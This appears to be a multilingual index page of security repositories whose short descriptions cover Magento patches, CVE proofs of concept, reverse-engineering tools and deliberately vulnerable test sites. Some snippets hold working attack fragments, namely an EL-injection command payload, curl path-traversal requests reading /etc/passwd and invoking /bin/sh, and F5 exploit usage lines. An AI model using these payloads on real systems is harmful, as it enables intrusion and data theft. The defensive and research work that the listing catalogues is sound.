magento2-template-filter-patch

Magento 2 Template Filter Patch für CVE-2022-24086, CVE-2022-24087 Magento 2 Patch für CVE-2022-24086, CVE-2022-24087. Behebt die RCE-Sicherheitslücke und damit verbundene Fehler durch tiefgehendes Escaping von Template-Variablen. Wenn Sie Magento nicht aktualisieren oder die offiziellen Patches...

magento2-session-reaper-patch

Patch Magento 2 per Session Reaper per CVE-2025-54236 Patch per CVE-2025-54236 noto anche come Session Reaper che consente il takeover dell'account cliente e l'esecuzione remota di codice RCE in determinate condizioni. Questa patch è in realtà un'estensione Magento 2 e universalmente compatibile...

magento2-cosmic-sting-patch

Patch per Magento 2 per CVE-2024-34102 noto anche come Cosmic Sting Una soluzione alternativa come estensione per Magento 2 per correggere la vulnerabilità XXE CVE-2024-34102 nota anche come Cosmic Sting. Se non puoi aggiornare Magento o non puoi applicare la patch ufficiale, prova questa. Se non...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 Questo repository parla di Follina MSDT dal punto di vista di Defender Index About Timeline Understanding the Exploit List of IOCs Detection Strategy Testing and Researching Mitigation Plans References About Il bug è una vulnerabilità di esecuzione remota di codice in Microsoft...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Requisiti di ambiente 1. tomcat8 8 Utilizzo 1. Scarica springframeworkrce-0.0.1-SNAPSHOT.zip, estrailo e rinominalo in ROOT.war. 2. Sostituisci la cartella ROOT o il file ROOT.war nella cartella webapps all'interno di tomcat. 3. Spostati nella directory bin...

CVE-2020-10199

Nexus Repository Manager 3 Vuln versioni interessate: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Esecuzione remota di comandi POC con output POC senza output $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' Privilegi...

REALITY_SMASHER

REALITYSMASHER vRealize RCE + Privesc CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "Tanto facile da fermare quanto da comprendere." Cos'è? "Reality Smasher" è un exploit per vRealize che sfrutta i problemi di sicurezza affrontati in VMSA-2021-0004 CVE-2021-21975, CVE-2021-21983 oltre a una...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2020-5902

CVE-2020-5902 Script Python per sfruttare F5 Big-IP CVE-2020-5902 Esempi Exploit di lettura di file locale: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploit RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2024-39840-POC

angepasst von Write-up: https://memorycorruption.net/posts/rce-lua-factorio/ funktioniert auf factorio 1.1.86...

CVE-2024-21305

CVE-2024-21305 Questa repository contiene il report e il PoC di CVE-2024-21305, la vulnerabilità di configurazione non sicura di Hypervisor-Protected Code Integrity HVCI. Questa vulnerabilità consentiva l'esecuzione arbitraria di codice in modalità kernel, bypassando di fatto l'HVCI, all'interno...

blutter

Blutter Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime Currently the application supports only Android libapp.so arm64 only. Also the application is currently work only against recent Dart versions. For high priority missing features, see TODO Environment Setup...

CVE-2019-0708

CVE-2019-0708 Initialer Exploit für CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP Remote Windows-Kernel Use-After-Free Der RDP-Treiber termdd.sys behandelt Bindungen an den nur internen Kanal MST120 fehlerhaft, sodass eine fehlerhaft formatierte Disconnect Provider Indication-Nachricht einen...

retdec

Warning The RetDec project is currently in a limited maintenance mode due to a lack of resources: Pull Requests are welcomed. They are reviewed with priority, if possible without delays. Issues are reacted on with delays up to one quarter. Issues are not actively solved unless they relate to a...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Vulnerabilità di Path Traversal in Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Seguici Vulnmachines...

awesome-nodejs-security

Eine kuratierte Liste großartiger Node.js-Sicherheitsressourcen. Lerne Node.js Secure Coding-Techniken und Best Practices von Liran Tal Inhaltsverzeichnis Werkzeuge Härtung von Web-Frameworks Statische Code-Analyse Dynamische Sicherheitstests von Anwendungen Eingabe-/Ausgabevalidierung...

hackazon

Hackazon Hackazon is a free, vulnerable test site that is an online storefront built with the same technologies used in today’s rich client and mobile applications. Hackazon has an AJAX interface, strict workflows and RESTful API’s used by a companion mobile app providing uniquely-effective...

CVE-2019-0708

CVE-2019-0708 BlueKeep Derzeit veröffentliche ich nur die Exploit-Notiz für Windows 7 x64. Siehe NOTE.md Hinweis: Windows 2008 R2 mit Standardkonfiguration fDisableCam=1 kann ausgenutzt werden. Die Zuverlässigkeit ist dieselbe wie bei Windows 7. Update Juli 2020 Informationen für Windows Server...

tech-seminar-React2Shell

React2Shell CVE-2025-55182 Seminário técnico WooriFISA 6ª edição - Equipe 3: Análise e pesquisa da vulnerabilidade de execução remota de código RCE explorando a falha de design do React Server Component RSC, React2Shell Equipe...

CVE-2022-25581

CVE-2022-25581 Im gesamten Internet nicht auffindbar – hier als Backup hinterlegt. Python-Exploit-Skript zur automatischen Durchführung der folgenden Schritte: ✅ Ziele des Skripts 1. Im Backend anmelden csrf und token abrufen 2. Ein bösartiges Request-Paket konstruieren, um ein Archiv mit Webshel...